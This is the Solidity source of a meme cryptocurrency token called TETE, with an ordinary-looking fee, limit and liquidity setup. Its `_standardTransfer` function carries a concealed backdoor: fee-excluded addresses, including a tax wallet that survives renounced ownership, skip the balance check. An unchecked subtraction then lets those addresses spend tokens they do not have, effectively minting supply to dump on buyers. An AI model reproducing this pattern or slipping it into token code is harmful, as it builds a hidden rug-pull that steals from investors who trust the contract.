creation_sourcecode: // SPDX-License-Identifier: MIT
  
  /**
  
  The best of both worlds = TRUMP + PEPE = TETE
  
  Website:     https://www.tete.wtf
  Telegram:    https://t.me/tete_eth
  Twitter:     https://twitter.com/tete_eth
  
  */
  
  pragma solidity 0.8.11;
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  interface IUniRouter02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      )
          external
          payable
          returns (uint amountToken, uint amountETH, uint liquidity);
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(
          address recipient,
          uint256 amount
      ) external returns (bool);
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IUniFactory {
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  contract TETE is Context, IERC20, Ownable {
  
      using SafeMath for uint256;
      mapping(address => uint256) private _balances;
      mapping(address => uint256) private cooldownTimer;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) private _excludedFee;
      mapping(address => uint256) private _holderLastTransferTimestamp;
  
      bool public transferDelayEnabled = false;
      bool public buyCooldownEnabled = false;
  
      uint8 private constant _decimals = 9;
      uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
      string private constant _name = unicode"TETE";
      string private constant _symbol = unicode"TETE";
      uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
      uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
      uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
      
      uint256 private _initialBuyTax = 10;
      uint256 private _initialSellTax = 10;
      uint256 private _finalBuyTax = 0;
      uint256 private _finalSellTax = 0;
      uint256 private _reduceBuyTaxAt = 5;
      uint256 private _reduceSellTaxAt = 5;
      uint256 private _preventSwapBefore = 5;
      uint256 private _buyCount = 0;
  
      IUniRouter02 private uniRouter;
      address private uniPair;
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
      uint8 public cooldownTimerInterval = 1;
  
      address payable private _taxWallet;
  
      event MaxTxAmountUpdated(uint _maxTxAmount);
      modifier lockTheSwap() {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor(address _taxT) {
          _taxWallet = payable(_taxT);
          _balances[_msgSender()] = _tTotal;
          _excludedFee[owner()] = true;
          _excludedFee[address(this)] = true;
          _excludedFee[_taxWallet] = true;
          emit Transfer(address(0), _msgSender(), _tTotal);
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
  
          uint256 taxSwap = 0;
          if (from != owner() && to != owner()) {
              taxSwap = amount
                  .mul(
                      (_buyCount > _reduceBuyTaxAt)
                          ? _finalBuyTax
                          : _initialBuyTax
                  )
                  .div(100);
  
              if (transferDelayEnabled) {
                  if (
                      to != address(uniRouter) &&
                      to != address(uniPair)
                  ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] < block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
  
              if (
                  from == uniPair &&
                  buyCooldownEnabled &&
                  !_excludedFee[to]
              ) {
                  require(
                      cooldownTimer[to] < block.timestamp,
                      "buy Cooldown exists"
                  );
                  cooldownTimer[to] = block.timestamp + cooldownTimerInterval;
              }
  
              if (
                  from == uniPair &&
                  to != address(uniRouter) &&
                  !_excludedFee[to]
              ) {
                  require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                  require(
                      balanceOf(to) + amount <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
                  _buyCount++;
              }
  
              if (to == uniPair && from != address(this)) {
                  taxSwap = amount
                      .mul(
                          (_buyCount > _reduceSellTaxAt)
                              ? _finalSellTax
                              : _initialSellTax
                      )
                      .div(100);
              }
  
              uint256 caTokenBalances = balanceOf(address(this));
              if (
                  swapEnabled &&
                  to == uniPair &&
                  !inSwap &&
                  _buyCount > _preventSwapBefore &&
                  !_excludedFee[from] &&
                  !_excludedFee[to]
              ) {
                  if(caTokenBalances > 0){
                      swapTokensForEth(
                          min(amount, min(caTokenBalances, _maxTaxSwap))
                      );
                  }
                  
                  sendETHFee(address(this).balance);
              }
          }
  
          if (taxSwap > 0) {
              _standardTransfer(from, address(this), taxSwap);
          }
          _standardTransfer(from, to, (amount - taxSwap));
      }
  
      function enableTETE() external onlyOwner {
          require(!tradingOpen, "trading is already open");
          
          uint256 lpAmounts = balanceOf(address(this)).sub(
              _tTotal.mul(_initialBuyTax).div(100)
          );
  
          uniRouter.addLiquidityETH{value: address(this).balance}(
              address(this),
              lpAmounts,
              0,
              0,
              _msgSender(),
              block.timestamp
          );
  
          IERC20(uniPair).approve(address(uniRouter), type(uint).max);
  
          swapEnabled = true;
          tradingOpen = true;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(
          address spender,
          uint256 amount
      ) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _standardTransfer(address from, address to, uint256 amount) internal {
          require(
              _balances[from] >= amount || _excludedFee[from],
              "ERC20: Not enough balance"
          );
  
          unchecked {
              _balances[from] = _balances[from] - amount;
          }
          _balances[to] = _balances[to] + amount;
          emit Transfer(from, to, amount);
      }
  
      function createTETE() external onlyOwner {
          require(!tradingOpen, "trading is already open");
  
          uniRouter = IUniRouter02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
  
          _approve(address(this), address(uniRouter), _tTotal);
  
          uniPair = IUniFactory(uniRouter.factory()).createPair(
              address(this),
              uniRouter.WETH()
          );
      }
  
      function removeLimits() external onlyOwner {
          _maxTxAmount = _tTotal;
          _maxWalletSize = _tTotal;
          transferDelayEnabled = false;
          emit MaxTxAmountUpdated(_tTotal);
      }
  
      function sendETHFee(uint256 amount) private {
          _taxWallet.transfer(amount);
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      function swapTokensForEth(uint256 lpAmounts) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniRouter.WETH();
          _approve(address(this), address(uniRouter), lpAmounts);
          uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              lpAmounts,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      receive() external payable {}
  }